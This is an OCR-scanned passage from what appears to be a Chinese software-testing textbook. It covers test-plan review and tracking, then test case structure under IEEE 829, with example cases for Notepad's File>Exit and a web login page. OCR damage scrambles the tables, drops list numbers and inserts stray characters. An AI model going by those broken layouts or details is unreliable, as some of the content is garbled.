外 ,就 像 开发 者 很 难 测试 自己 的 代码 那样 ,测试 工程 师 也 很 难 评估 自己 的 测试 计划 。 项 目 中 的 
每 个 团队 都 应 派 人 参与 测试 计划 的 审查 ,每 个 审查 者 都 可 能 根据 其 经 验 及 专长 发 现 测试 计划 
中 的 问题 ,提出 良好 的 建议 。 

(7) 测试 计划 的 定稿 和 批准 。 在 计划 讨论 ,审查 的 基础 上 ,综合 各 方面 的 意见 ,就 可 以 完 
成 测试 计划 书 , 然 后 上 报 给 测试 经 理 或 更 高 层 的 经 理 , 得 到 批准 , 方 可 执行 。 

(8) 测试 计划 的 跟踪 。 测 试 计划 书 完成 之 后 ,不 要 束之高阁 ,而 是 要 跟踪 其 执行 ,随时 将 
测试 执行 状态 和 测试 计划 要 求 进行 比 对 。 如 果 是 执行 问题 ,就 需要 纠正 执行 ; 如 果 是 计划 跟 
不 上 需求 和 设计 的 变化 ,就 要 对 计划 做 相应 的 调整 。 一 个 良好 的 测试 计划 ,和 实际 执行 的 偏差 
不 应 该 太 大 ,理想 情况 下 ,两 者 保持 一 致 。 

在 测试 计划 的 每 个 阶段 上 ,都 要 清楚 该 阶段 要 达到 的 目标 、 负 责 人 是 谁 ,哪些 人 要 参与 ( 提 
供 信息 ,参加 评审 等 ) 工作 的 重点 是 什么 .最终 需 要 提供 哪些 资料 。 例 如 ,以 计划 起 草 阶段 
为 例 : 

(1) 目标 : 重点 描述 如 何 使 测试 建立 在 客观 的 基础 上 ,定义 测试 项 及 其 基本 方法 策略， 
粗略 估算 测试 需要 的 时 间 和 人 力 资源 周期 \ 最 终 递交 测试 报告 的 时 间 等 。 

(2) 工作 重点 : 绘制 一 个 相对 完整 的 功能 结构 图 ,并 描述 功能 特性 测试 会 覆盖 哪些 功能 
特性 ,如 果 没 有 覆盖 全 部 的 功能 特性 ,那么 会 带 来 哪些 测试 风险 或 多 大 的 测试 风险 ; 如 何 验证 
系统 设计 、 验 证 设计 需要 多 长 时 间 , 在 此 之 前 ,是 否 需 要 对 测试 人 员 进 行 相关 培训 ; 根据 系统 
平台 选 型 ,如 何 搭建 测试 平台 。 

(3) 需要 的 资料 : 项 目的 整体 计划 书 初稿 .产品 需求 文档 初稿 .用 例 (Use Case) 和 其 他 项 
目 文档 等 。 

(4) 成 果 : 测试 计划 书 初稿 .系统 功能 结构 图 等 。 

J@ 负责 人 : 测试 组 长 。 

@ 参与 人 : 市 场 部 门 、 产 品 经 理 、 项 目 经 理 、 开 发 组 长 和 测试 组 其 他 人 员 。 

@ 变更 : 说 明 有 可 能 会 导致 测试 计划 变更 的 事件 ,包括 项 目 整体 计划 的 变更 ,增加 新 的 
功能 特性 ,测试 工具 的 改进 、 测 试 环 境 的 改变 等 。 

测试 计划 不 仅 是 软件 产品 当前 版 本 而 且 还 是 下 一 个 版 本 的 测试 设计 的 主要 信息 来 源 , 在 
进行 新 版 本 测试 时 ,可 以 在 原 有 的 软件 测试 计划 书 上 进行 修改 来 完成 计划 的 制定 ,会 节约 比较 
多 的 时 间 。 


10.5.3 制定 有 效 的 测试 计划 


在 计划 书 中 ,有 些 内 容 是 介绍 测试 项 目的 背景 ,所 采用 的 技术 方法 等 ,这 些 内 容 仅 作为 参 
考 , 但 有 些 内 容 则 可 以 看 作 是 测试 组 所 做 出 的 承诺 ,必须 要 实施 或 达到 的 目标 ,如 要 完成 的 测 
试 任务 ,测试 组 构成 和 资源 安排 测试 项 目的 里 程 碑 ,面向 解决 方案 的 交付 内 容 、 项 目标 准 、 质 
量 标准 、 相 关 分 析 报告 等 。 

要 做 好 测试 计划 ,测试 设计 人 员 要 仔细 阅读 有 关 资 料 , 包 括 用 户 需求 规格 说 明 书 、 设 计 文 


档 、 使 用 说 明 书 等 ,全 面 熟悉 系统 ,并 对 软件 测试 方法 和 项 目 管理 技术 有 着 深刻 的 理解 ,并 建议 
注意 以 下 方面 。 

(1) 确定 测试 项 目的 任务 ,清楚 测试 范围 和 测试 目标 ,如 提交 什么 样 的 测试 结果 。 

(2) 测试 计划 尽量 识别 出 各 种 测试 风险 ,并 制定 出 相应 的 对 策 。 

(3) 让 所 有 合适 的 相关 人 员 参 与 测试 项 目的 计划 制定 ,特别 是 在 测试 计划 早期 。 

(4) 对 测试 的 各 阶段 所 需要 的 时 间 、 人 力 及 其 他 资源 进行 预 估 , 尽 量 做 到 客观 ,准确 、 留 有 
余地 。 

(5) 制定 测试 项 目的 输入 、 输 出 和 质量 标准 ,并 和 有 关 方 面 达成 一 致 。 

(6) 建立 变化 处 理 的 流程 规则 ,识别 出 在 整个 测试 阶段 中 哪些 是 内 在 的 \ 不 可 避免 的 变化 
因素 ,如 何 进 行 控制 。 

(7) 不 要 忽视 技术 上 的 问题 ,例如 ,系统 架构 的 设计 对 系统 的 性 能 测试 .故障 转移 测试 等 
有 较 大 影响 。 在 测试 计划 过 程 中 ,要 和 系统 设计 人 员 充 分 沟通 。 

(8) 要 对 测试 的 公正 性 .遵照 的 标准 做 一 个 说 明 ,证 明 测 试 是 客观 的 ,整体 上 ,软件 功能 要 
满足 需求 ,实现 正确 ,和 用 户 文档 的 描述 保持 一 致 。 

(9) 测试 计划 应 简洁 , 易 读 并 有 所 侧重 ,重点 内 容 要 详细 描述 ,避免 测试 计划 的 “大 而 全 ”、 
重点 不 突出 和 缺乏 层次 。 例 如 ,具体 的 测试 技术 指标 可 以 用 单独 的 测试 详细 规格 文档 来 说 明 ， 
通用 测试 流程 也 应 该 由 单独 文档 来 描述 ,而 测试 用 例 就 更 不 要 放 在 测试 计划 中 。 


小 结 


本 章 主要 讨论 测试 需求 和 如 何 创建 有 效 的 测试 计划 。 测 试 需求 包括 功能 测试 需求 和 非 功 
能 性 测试 需求 ,而 非 功能 性 测试 需求 包括 性 能 、 安 全 性 .可 靠 性 .兼容 性 、 易 维护 性 和 可 移植 性 
等 测试 需求 。 对 于 非 功 能 性 测试 需求 , 既 要 独立 考虑 它们 各 自 的 特点 和 各 自 的 测试 需求 ,也 要 
考虑 它们 之 间 的 关系 和 相互 影响 ,例如 安全 性 和 可 靠 性 密切 相关 , 越 安全 越 可 靠 , 越 可 靠 越 安 
全 。 而 安全 性 会 增加 许多 保护 措施 ,往往 会 降低 性 能 。 在 整个 系统 测试 需求 分 析 时 ,不 仅 要 考 
上 处 来 自 整体 系统 的 测试 需求 ,还 要 考虑 系统 数据 、 外 部 接口 等 测试 需求 。 而 在 测试 计划 过 程 
中 ,主要 做 好 下 列 各 项 工作 。 

(1) 确定 软件 功能 性 、 非 功能 性 的 测试 需求 ,以 及 各 个 阶段 的 测试 任务 。 

(2) 进行 测试 范围 分 析 , 从 而 对 测试 工作 量 进行 估算 。 工 作 量 估算 方法 主要 介绍 了 工作 
分 解 结构 表 方 法 ,并 给 出 了 实例 。 

(3) 测试 资源 需求 .团队 组 建 ,包括 培训 。 

(4) 测试 里 程 碑 和 进度 的 安排 。 

(5) 对 测试 风险 进行 分 析 。 

(6) 制定 有 效 的 测试 策略 。 

最 后 完整 地 生成 测试 计划 书 , 进 行 计划 书 的 评审 、 跟 踪 和 及 时 修改 ,测试 计划 是 一 个 过 程 ， 
不 仅 是 “测试 计划 书 ” 这 样 一 个 文档 ,测试 计划 会 随 着 情况 的 变化 不 断 进 行 调整 ,用 以 优化 资源 
和 进度 安排 ,降低 风险 ,提高 测试 效率 。 


思考 题 


1. 当 被 指定 为 某 软件 测试 项 目的 组 长 ,为 某 个 测试 项 目 制定 测试 计划 时 ,该 做 哪些 准备 ? 

2. 就 某 个 具体 项 目 , 如 何 有 效 开展 测试 需求 分 析 ? 并 进一步 识别 测试 需求 和 产品 需求 的 
不 同 点 。 

3. 测试 工作 量 估算 是 比较 困难 的 ,除了 WBS 方法 之 外 ,还 有 什么 有 效 方法 ? 

4. 结合 某 个 具体 项 目 , 完 成 一 个 完整 的 测试 计划 书 的 编制 。 


CHAPTER 11 
第 11 章 


设计 和 维护 测试 用 例 


测试 用 例 是 为 了 实现 测试 有 效 性 的 一 种 最 基本 的 手段 。 好 的 测试 
用 例 可 以 帮助 我 们 更 快 地 发 现 缺陷 ,并 在 测试 过 程 中 不 断 被 重复 使 用 。 
同时 ,在 测试 过 程 中 可 以 通过 对 测试 用 例 的 组 织 和 跟踪 来 完成 对 测试 工 
作 的 量化 和 管理 。 本 章 将 从 软件 测试 实践 中 一 些 常用 的 测试 用 例 设计 
思想 ,方法 和 组 织 角度 ,来 阐述 如 何 设计 测试 用 例 。 

通过 本 音 的 学 习 , 可 以 了 解 和 掌握 以 下 内 容 。 

(1) 为 什么 要 使 用 测试 用 例 ? 

(2) 测试 用 例 由 哪些 基本 元 素 组 成 ? 

(3) 测试 用 例 编写 和 设计 时 需要 遵循 哪些 基本 原则 ? 

(4) 白 盒 测 试用 例 和 黑 盒 测 试用 例 设计 的 基本 方法 。 

(5) 测试 用 例 设计 ,组 织 和 测试 过 程 组 织 之 间 的 关系 和 实践 过 程 。 

(6) 跟踪 和 维护 测试 用 例 。 


11.1 测试 用 例 构成 及 其 设计 


测试 用 例 是 有 效 地 发 现 软件 缺陷 的 最 小 测试 执行 单元 ,是 为 了 特定 
目的 (如 考察 特定 程序 路 径 或 验证 是 否 符合 特定 的 需求 ) 而 设计 的 测试 
数据 及 与 之 相关 的 测试 规程 的 一 个 特定 的 集合 。 测 试用 例 在 测试 中 具 
有 重要 的 作用 ,测试 用 例 拥有 特定 的 书写 标准 ,在 设计 测试 用 例 时 需要 
考虑 一 系列 的 因素 ,并 遵循 一 些 基本 的 原则 。 

测试 用 例 设计 的 方法 很 多 ,普遍 会 采用 黑 盒 测 试 方法 和 白 盒 测试 方 
法 。 这 些 基 本 方法 已 在 第 3 章 中 做 了 详细 讨论 ,其 中 黑 盒 测 试 方法 包括 
等 价 类 划分 法 ,边界 值 分 析 方 法 .因果 图 ,决策 表 、 功 能 图 法 、 正 交 试 验 法 
等 ,而 白 盒 测 试 方法 包括 语句 覆盖 ,条件 覆盖 、 分 支 覆盖 条件- 分支 组 合 
方法 、 基 本 路 径 覆 盖 等 。 测 试用 例 设计 方法 还 可 以 采用 数据 流 分 析 、 控 
制 流 分 析 、 业 务 逻 辑 时 序 分 析 、 基 于 程序 错误 的 变异 、 基 于 代数 运算 符号 
和 形式 逻辑 等 方法 来 完成 。 


11.1.1 测试 用 例 的 重要 性 


前 面 的 章节 中 ,已 经 多 次 提 到 在 测试 过 程 中 需要 通过 执行 测试 用 例 来 发 现 缺陷 。 为 什么 
需要 测试 用 例 呢 ? 在 测试 过 程 中 使 用 测试 用 例 具 有 以 下 几 个 方面 的 作用 。 

(1) 有 效 性 。 测 试用 例 是 测试 人 员 测试 过 程 中 的 重要 参考 依据 。 我 们 已 经 知道 , 穷 举 测 
试 是 不 可 能 的 ,因此 ,设计 良好 的 测试 用 例 将 大 大 节约 时 间 ,提高 测试 效率 。 

(2) 可 复 用 性 。 良 好 的 测试 用 例 将 会 具有 重复 使 用 的 功能 ,使 得 测试 过 程 事半功倍 。 不 
同 的 测试 人 员 根 据 相同 的 测试 用 例 所 得 到 的 输出 结果 是 一 致 的 ,对 于 准确 的 测试 用 例 的 计划 、 
执行 和 跟踪 是 测试 的 可 复 用 性 的 保证 。 

(3) 易 组 织 性 。 即 使 是 很 小 的 项 目 , 也 可 能 会 有 几 千 甚至 更 多 的 测试 用 例 , 测 试用 例 可 能 
在 数 月 甚至 几 年 的 测试 过 程 中 被 创建 和 使 用 ,正确 的 测试 计划 将 会 很 好 地 组 织 这 些 测试 用 例 
并 提供 给 测试 人 员 或 者 其 他 项 目 作为 参考 和 借鉴 。 

(4) 可 评估 性 。 从 测试 的 项 目 管理 角度 来 说 ,测试 用 例 的 通过 率 是 检验 代码 质量 的 保证 。 
人 们 经 常 说 代码 的 质量 不 高 或 者 代码 的 质量 很 好 ,量化 的 标准 应 该 是 测试 用 例 的 通过 率 以 及 
软件 缺陷 (Bug) 的 数目 。 

(5) 可 管理 性 。 从 测试 的 人 员 管 理 角度 ,测试 用 例 也 可 以 作为 检验 测试 进度 的 工具 之 一 ， 
工作 量 以 及 跟踪 /管理 测试 人 员 的 工作 效率 的 因素 ,尤其 是 比较 适用 于 对 于 新 的 测试 人 员 的 检 
验 , 从 而 更 加 合理 地 做 出 测试 安排 和 计划 。 

因此 ,测试 用 例 将 会 使 得 测试 的 成 本 降低 ,并 具有 可 重复 使 用 功能 ,也 是 作为 检测 测试 效 
果 的 重要 因素 ,设计 良好 的 测试 用 例 是 测试 的 最 关键 工作 之 一 。 

测试 用 例 不 是 每 个 人 都 可 以 编写 的 , 它 需 要 撰写 者 对 产品 的 设计 ,功能 规格 说 明 书 、 用 户 
场景 以 及 程序 /模块 的 结构 都 有 比较 透彻 的 了 解 。 测 试 人 员 刚 开始 工作 时 ,只 能 执行 别人 写 好 
的 测试 用 例 , 随 着 测试 人 员 的 经 验 积 累 和 技术 的 提高 ,逐渐 掌握 测试 用 例 的 设计 方法 和 所 需 的 
知识 ,这 时 测试 人 员 就 能 够 独立 编写 测试 用 例 , 当 然 ,可 以 请 资深 入 员 帮助 审查 ,以 控制 测试 用 
例 的 质量 。 


11.1.2 测试 用 例 设 计 书 写 标准 


在 编写 测试 用 例 过 程 中 ,需要 遵守 基本 的 测试 用 例 编写 标准 ,并 参考 一 些 测试 用 例 设计 的 
指南 。 在 ANSI/IEEE 829 一 1983 标准 中 , 列 出 了 和 测试 设计 相关 的 测试 用 例 编写 规范 和 模 
板 , 而 标准 模板 中 主要 元 素 罗 列 如 下 。 

(1) 标志 符 (Identification) : 每 个 测试 用 例 应 该 有 一 个 唯一 的 标志 符 , 它 将 成 为 所 有 和 测 
试用 例 相 关 的 文档 /表格 引用 和 参考 的 基本 元 素 , 这 些 文档 /表格 包括 缺陷 报告 ,测试 任务 、 测 

(2) 测试 项 (Test Items): 测试 用 例 应 该 准确 地 描述 所 需要 测试 的 项 及 其 特征 ,测试 项 应 
该 比 测试 设计 说 明 中 所 列 出 的 特性 描述 更 加 具体 ,例如 ,Windows 计算 器 应 用 程序 测试 中 , 测 
试 对 象 是 整个 应 用 程序 的 用 户 界面 ,其 测试 项 将 包括 该 应 用 程序 的 各 个 界面 元 素 的 操作 ,例如 
窗口 缩放 、. 界 面 布局 .菜单 等 。 

(3) 测试 环境 要 求 (Test Environment) : 用 来 表征 执行 该 测试 用 例 需 要 的 测试 环境 ,一般 


来 说 ,在 整个 测试 模块 里 面 应 该 包含 整个 测试 环境 的 特殊 需求 ,而 单个 测试 用 例 的 测试 环境 需 
要 表征 该 测试 用 例 单独 所 需要 的 特殊 环境 需求 。 

(4) 输入 标准 (Input Criteria) : 用 来 执行 测试 用 例 的 输入 需求 。 这 些 输入 可 能 包括 数据 、 
文件 或 者 操作 (例如 鼠标 的 单 击 . 击 键 等 ) 。 

(5) 输出 标准 (Output Criteria) : 标识 按照 指定 的 环境 .条件 和 输入 而 得 到 的 期 望 输出 结 
果 。 如 果 可 能 ,尽量 提供 适当 的 系统 规格 说 明 来 证 明 期 望 的 结果 。 

(6) 测试 用 例 之 间 的 关联 : 用 来 标识 该 测试 用 例 与 其 他 测试 用 例 之 间 的 依赖 关系 。 在 测 
试 的 实际 过 程 中 ,很 多 的 测试 用 例 并 不 是 单独 存在 的 ,它们 之 间 可 能 有 某 种 依赖 关系 ,例如 ， 
例 A 需要 基于 B 的 测试 结果 正确 的 前 提 上 才 被 执行 ,此 时 需要 在 A 的 测试 用 例 中 表明 对 B 
的 依赖 性 ,从 而 保证 测试 用 例 的 严谨 性 。 

综 上 所 述 , 如 果 使 用 一 个 数据 库 的 表 来 描述 测试 用 例 的 主要 元 素 , 如 表 11-1 所 示 。 


表 11-1 测试 用 例 元 素 表 示 


字段 名 称 类 型 是 否 必 选 注 释 
标志 符 整 型 是 唯一 标识 该 测试 用 例 的 值 
测试 项 字符 型 是 测试 的 对 象 
测试 环境 要 求 字符 型 否 可 能 在 整个 模块 里 面 使 用 相同 的 测试 环境 需求 
输入 标准 字符 型 是 
输出 标准 字符 型 是 
测试 用 例 间 的 关联 字符 型 否 并 非 所 有 的 测试 用 例 之 间 都 需要 关联 


如 果 用 数据 词典 的 方法 来 表示 ,测试 用 例 可 以 简单 地 表示 成 : 测试 用 例 ={ 输 入 数据 十 操 
作 步 又 十 期 望 结果 } ,其 中 {} 表 示 重 复 。 这 个 式 子 还 表明 ,每 一 个 完整 的 测试 用 例 不 仅 包含 被 
测 程序 的 输入 数据 ,而 且 还 包括 执行 的 步骤 ,预期 的 输出 结果 。 

接 下 来 ,这 里 用 一 个 具体 的 例子 来 描述 测试 用 例 的 组 成 结构 。 例 如 ,对 Windows 记事 本 
程序 进行 测试 ,选取 其 中 的 一 个 测试 项 一 一 “文件 (File)" 菜 单 栏 的 测试 。 

测试 对 象 : 记事 本 程序 “文件 "菜单 栏 ( 测 试用 例 标 识 1000, 下 同 ), 所 包含 的 子 测试 用 例 描 
述 如 下 : 

| -- -- -- -- 文 件 /新 建 (1001) 

1-- -- -- -- 文 件 /打开 (1002) 

1-- -- -- -- 文 件 /保存 (1003) 

| -- -- -- -- 文 件 /另存 (1004) 

1-- -- -- -- 文 件 /页 面 设置 (1005) 

1-- -- -- -- 文 件 /打印 (1006) 

1-- -- -- -- 文 件 /退出 (1007) 

| -- -- -- -菜单 布局 (1008) 

1-- -- -- 一 快捷 键 (1009) 

选取 其 中 的 一 个 子 测试 用 例 一 一 文件 /退出 (1007) 作 为 详细 例子 一 一 完整 的 测试 用 例 描 
述 ,如 表 11-2 所 示 。 通 过 这 个 例子 ,可 以 了 解 测试 用 例 具体 的 描述 方法 和 格式 。 通 过 实践 , 获 
得 必要 的 技巧 和 经 验 , 能 更 好 地 描述 出 完整 的 、 良 好 的 测试 用 例 。 


表 11-2 一 个 具体 的 测试 用 例 


字段 名 称 描述 
标志 符 1007 
测试 项 记事 本 程序 “文件 菜单 栏 一 “文件 ~“ 退出 ?菜单 的 功能 测试 


测试 环境 要 求 Window 2000 Professional, 中 文 版 
(1) 打开 Windows 记事 本 程序 ,不 输入 任何 字符 ,鼠标 单 击 选 择 菜单 一 一 “文件 ”一 


“退出 ”。 
(2) 打开 Windows 记事 本 程序 ,输入 一 些 字符 ,不 保存 文件 ,鼠标 单 击 选择 菜单 一 一 
“文件 ”>“ 退 出 ”。 
和 (3) 打开 Windows 记事 本 程序 ,输入 一 些 字符 ,保存 文件 ,鼠标 单 击 选择 菜单 一 一 “ 文 
输入 标准 件 * < 退 出， 
(4) 打开 一 个 Windows 记事 本 文件 (扩展 名 为 . txt), 不 做 任何 修改 ,鼠标 单 击 选 择 菜 
单一 一 “文件 ”>“ 退 出 ”。 
(5) 打开 一 个 Windows 记事 本 文件 ,做 修改 后 不 保存 ,鼠标 单 击 选择 菜单 一 一 “文件 ”一 
“退出 ” 
(1) 记事 本 未 做 修改 ,鼠标 单 击 菜单 一 一 “文件 ”一 “退出 ”, 能 正确 退出 应 用 程序 ,无 提 
示 信 息 。 
输出 标准 (2) 记事 本 做 修改 未 保存 或 者 另存 ,鼠标 单 击 菜单 一 一 “文件 >“ 退出”, 会 提示 “未 定 


标题 文件 的 文字 已 经 改变 , 想 保存 文件 吗 ?” 单 击 “ 是 按钮 , Windows 将 打开 “ 保 
存 ”/* 另 存 ” 对 话 框 ; 单 击 “ 否 ”按钮 ,文件 将 不 被 保存 并 退出 记事 本 程序 ; 单 击 “ 取 
消 ” 按 钮 将 返回 记事 本 窗口 
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11.1.3 ”测试 用 例 设 计 考虑 因素 


一 般 来 说 , 穷 举 测试 是 不 可 能 实现 的 ,因此 试图 用 所 有 的 测试 用 例 来 覆盖 所 有 测试 可 能 过 
到 的 情形 是 不 可 能 的 ,所 以 ,在 测试 用 例 的 编写 ,组织 过 程 中 ,应 尽量 考虑 有 代表 性 的 典型 的 测 
试用 例 ,来 实现 以 点 带 面 的 穷 举 测试 ,这 要 求 在 测试 用 例 设 计 中 考虑 以 下 一 些 基本 因素 。 

(1) 测试 用 例 必须 具有 代表 性 、 典 型 性 。 一 个 测试 用 例 能 基本 涵盖 一 组 特定 的 情形 ,目标 
明确 ,这 可 能 要 借助 测试 用 例 设计 的 有 效 方 法 和 对 用 户 使 用 产品 的 准确 把 握 。 

(2) 测试 用 例 设 计时 ,是 寻求 系统 设计 ,功能 设计 的 弱点 。 测 试用 例 需 要 确切 地 反映 功能 
设计 中 可 能 存在 的 各 种 问题 ,而 不 要 简单 复制 产品 规格 设计 说 明 书 的 内 容 。 同 时 ,测试 用 例 还 
需要 按照 功能 规格 说 明 书 的 要 求 进 行 设计 ,将 所 有 可 能 的 情况 结合 起 来 考虑 。 下 文中 示例 一 
是 针对 一 个 常见 的 Web 登录 页 面 来 设计 测试 用 例 ,通过 这 个 例子 来 阐述 从 功能 规格 说 明 书 到 
具体 的 测试 用 例 编写 的 整个 过 程 。 

(3) 测试 用 例 需 要 考虑 到 正确 的 输入 ,也 需要 考虑 错误 的 或 者 异常 的 输入 ,以 及 需要 分 析 
怎样 使 得 这 样 的 错误 或 者 异常 能 够 发 生 。 例 如 ,电子 邮件 地 址 校 验 的 时 候 ,不 仅 需要 考虑 到 正 
确 的 电子 邮件 地 址 (如 pass@ web. com) 的 输入 ,同时 需要 考虑 错误 的 \ 不 合法 的 (如 没有 @ 符 
号 的 输入 ) 或 者 带 有 异常 字符 ( 单 引 号 、 斜 杠 、 双 引号 等 ) 的 电子 邮件 地 址 输入 ,尤其 是 在 做 
Web 页 面 测试 的 时 候 , 通 常会 出 现 一 些 字符 转 义 问题 而 造成 异常 情况 的 发 生 , 见 示例 二 。 

(4) 用 户 测试 用 例 设计 ,要 诸多 考虑 用 户 实际 使 用 场景 。 用 户 测试 用 例 是 基于 用 户 实际 
的 可 能 场景 ,从 用 户 的 角度 来 模拟 程序 的 输入 ,从 而 针对 程序 来 进行 的 测试 的 用 例 。 用 户 测试 
用 例 不 仅 需要 考虑 用 户 实际 的 环境 因素 ,例如 ,在 Web 程序 中 需要 对 用 户 的 连接 速度 .负载 进 


行 模拟 ,还 需要 考虑 各 种 网 络 连接 方式 的 速度 。 在 本 地 化 软件 测试 时 ,需要 尊重 用 户 的 所 在 国 
家 、 区 域 的 风俗 .语言 以 及 习惯 用 法 。 关 于 本 地 化 语言 的 测试 , 详 见 第 10 音 。 


示例 一 


用 户 登录 的 功能 设计 规格 说 明 书 ( 摘 选 ) 

1. 用 户 登 录 

1.1 满足 基本 页 面 布局 图 示 ( 登 录 页 面 图 ,此 处 略 去 ) 。 

1.2 当 用 户 没有 输入 用 户 名 和 密码 时 ,不 立即 弹出 错误 对 话 框 ,而 是 在 页 面 上 使 用 红 
色 字 体 来 提示 , 见 2 描述 。 

1.3 用 户 密码 使 用 掩 码 符号 (x* ) 来 标识 。 

1.4 * 代 表 必 选 字段 ,将 出 现在 输入 文本 框 的 后 面 。 

2. 登录 出 现 错误 

当 出 现 错误 时 ,在 页 面 的 顶部 会 出 现 相应 的 错误 提示 。 错 误 提示 的 内 容 见 3。 错 误 提 
示 是 高 亮 的 红色 字体 实现 。 

3. 错误 信息 描述 

3.1 用 户 名 输入 为 空 


属性 值 
编号 MSG0001 
显示 的 页 面 ErrorPage0001 
出 现 条 件 当 用 户 输入 的 用 户 名 为 空 而 试图 登录 
提示 信息 错误 : 请 输入 用 户 名 
3.2 密码 为 空 
属性 值 
编号 MSG0002 
显示 的 页 面 ErrorPage0002 
出 现 条 件 当 用 户 密码 输入 为 空 且 没有 出 现 WMSG001 的 提示 信息 
提示 信息 错误 : 请 输入 密码 
3.3 用 户 名 /密码 不 匹配 
属性 值 
编号 MSG0003 
显示 的 页 面 ErrorPage0003 
出 现 条 件 当 用 户 名 和 密码 不 匹配 时 
提示 信息 错误 : 您 输入 的 用 户 名 或 者 密码 不 正确 
通用 安全 性 设计 规格 说 明 书 ( 摘 选 7 
1. 安全 性 描述 


1.1 输入 安全 性 : 在 用 户 登 录 或 者 信用 卡 验证 过 程 中 ,如 果 三 次 输入 不 正确 ,页 面 将 
需要 重新 打开 才能 生效 。 


1.2 密码 : 在 所 有 的 用 户 密码 中 ,都 必须 使 用 掩 码 符号 ( x ) ,数据 在 数据 库 中 存储 使 
用 统一 的 加 密 和 解密 算法 。 

1.3 Cookie: 在 信用 卡 信息 验证 ,用 户 名 输入 时 ,Cookie 都 是 被 禁止 的 , 当 用 户 第 一 
次 输入 后 ,浏览 器 将 不 再 提供 是 否 保存 信息 的 提示 信息 ,自动 完成 功能 将 被 禁用 。 

1.4 SSL 校 验 : 所 有 的 站 点 访问 时 ,必须 经 过 SSL 校 验 。 

2. 错误 描述 ( 略 ) 

测试 用 例 

结合 相关 规格 说 明 书 要 求 ,理解 和 掌握 测试 用 例 设计 的 关键 点 ,测试 用 例 设计 如 表 
11-3 所 示 。 这 里 实际 把 多 个 测试 用 例 放 在 一 起 ,构成 单个 功能 测试 的 用 例 集合 。 

表 11-3 用户 登录 功能 测试 用 例 (集合 ) 


字段 名 称 描述 

标志 符 1100 

测试 项 站 点 用 户 登 录 功 能 测试 

测试 环境 要 求 1. 用 户 test/pass 为 有 效 登录 用 户 ,用户 testl 为 无 效 登录 用 户 。 


2. 浏览 器 的 Cookie 未 被 禁用 


. 输入 正确 的 用 户 名 和 密码 , 单 击 “ 登 录 ” 按 钮 。 

. 输入 错误 的 用 户 名 和 密码 , 单 击 “ 登 录 ” 按 钮 。 

. 不 输入 用 户 名 和 密码 , 单 击 “ 登 录 "按钮 。 

. 输入 正确 的 用 户 名 并 不 输入 密码 , 单 击 “登录 ”按钮 。 

. 三 次 输入 无 效 的 用 户 名 和 密码 尝试 登录 。 

. 第 一 次 登录 成 功 后 ,重新 打开 浏览 器 登录 ,输入 上 次 成 功 登 录 的 用 户 名 的 第 一 
个 字符 


输入 标准 


Do 


1. 数据 库 中 存在 的 用 户 将 能 正确 登录 。 

2. 错误 的 或 者 无 效用 户 登录 失败 ,并 在 页 面 的 顶部 出 现 红色 字体 :“ 错 误 : 用 户 
名 或 密码 输入 错误 。” 

3. 用 户 名 为 空 时 ,页 面 顶部 出 现 红色 字体 提示 :“ 请 输入 用 户 名 ”。 

4. 密码 为 空 且 用 户 名 不 为 空 时 ,页 面 顶部 出 现 红色 字体 提示 :“ 请 输入 密码 ”。 

输出 标准 5. 三 次 无 效 登 录 后 ,第 4 次 尝试 登录 会 出 现 提示 信息 “您 已 经 三 次 尝试 登录 失败 ， 
请 重新 打开 浏览 器 进行 登录 ”, 此 后 的 登录 过 程 将 被 禁止 。 

. 自动 完成 功能 将 被 禁用 ,查看 浏览 器 的 Cookie 信息 ,将 不 会 出 现 上 次 登录 的 用 
户 和 密码 信息 ,第 一 次 使 用 一 个 新 账户 登录 时 ,浏览 器 将 不 会 提示 “是 否 记 住 
密码 以 便 下 次 使 用 ”对 话 框 。 

7. 所 有 的 密码 均 以 “* ”方式 输入 


他 
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示例 二 
在 上 面 提 到 的 用 户 登录 页 面 的 示例 一 中 ,需要 考虑 特殊 字符 的 输入 ,尤其 是 脚本 语言 敏感 
的 字符 输入 。 将 上 面 的 测试 用 例 集合 进行 完善 如 下 (用 粗 体 标 出 ) ,如 表 11-4 所 示 。 


字段 名 称 


表 11-4 用 户 登 录 功 能 测试 用 例 的 完善 


描述 


标志 符 


1100 


测试 项 


站 点 用 户 登 录 功能 测试 


测试 环境 要 求 


二 


用 户 pass/pass 为 有 效 登 录用 户 ,用 户 pass1/pass 为 无 效 登录 用 户 , 用 户 pass’jean/ 
password 为 有 效 登 录用 户 。 


. 浏览 器 的 Cookie 未 被 禁用 


输入 标准 


站 


. 输入 正确 的 用 户 名 和 密码 , 单 击 * 登 录 "按钮 。 


输入 错误 的 用 户 名 和 密码 , 单 击 “登录 ”按钮 。 


. 不 输入 用 户 名 和 密码 , 单 击 “ 登 录 "按钮 。 


输入 正确 的 用 户 名 并 不 输入 密码 , 单 击 “ 登 录 ” 按 钮 。 


. 输入 带 特殊 字符 的 用 户 名 ( 带 /, ”或 # ,如 pass’jean) 和 密码 , 单 击 “ 登 录 ” 按 钮 。 
. 三 次 输入 无 效 的 用 户 名 和 密码 尝试 登录 。 
. 第 一 次 登录 成 功 后 ,重新 打开 浏览 器 登录 ,输入 上 次 成 功 登 录 的 用 户 名 的 第 一 个 


字符 


输出 标准 


~ 


> 


.数据库 中 存在 的 用 户 (pass/pass,pass’jean/password) 将 能 正确 登录 。 
. 错误 的 或 者 无 效用 户 登录 失败 ,并 在 页 面 的 顶部 出 现 红色 字体 :“ 错 误 : 用 户 名 或 


密码 输入 错误 。” 


.用 户 名 为 空 时 ,页 面 顶部 出 现 红色 字体 提示 :“ 请 输入 用 户 名 ”。 
.密码 为 空 且 用 户 名 不 为 空 时 ,页 面 顶部 出 现 红色 字体 提示 :“ 请 输入 密码 ”。 


5. 含 特殊 字符 (“,/,*”,#) 的 用 户 名 ,如 数据 库 中 有 该 记录 ,将 能 正确 登录 ,如 无 该 用 


人 


9 


8. 


户 记录 ,将 不 能 登录 , 校 验 过 程 和 普通 的 字符 相同 ,不 能 出 现 空白 页 面 或 者 脚本 
错误 。 


. 三 次 无 效 登录 后 ,第 4 次 尝试 登录 会 出 现 提示 信息 “您 已 经 三 次 尝试 登录 失败 ,请 


重新 打开 浏览 器 进行 登录 ”, 此 后 的 登录 过 程 将 被 禁止 。 


.自动 完成 功能 将 被 禁用 ,查看 浏览 器 的 Cookie 信息 ,将 不 会 出 现 上 次 登录 的 用 户 


和 密码 信息 ,第 一 次 使 用 一 个 新 账户 登录 时 ,浏览 器 将 不 会 提示 “是 否 记 住 密码 以 
便 下 次 使 用 ”对 话 框 。 
所 有 的 密码 均 以 “* ”方式 输入 
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11.1.4 测试 用 例 设计 的 基本 原则 


在 设计 测试 用 


原则 。 


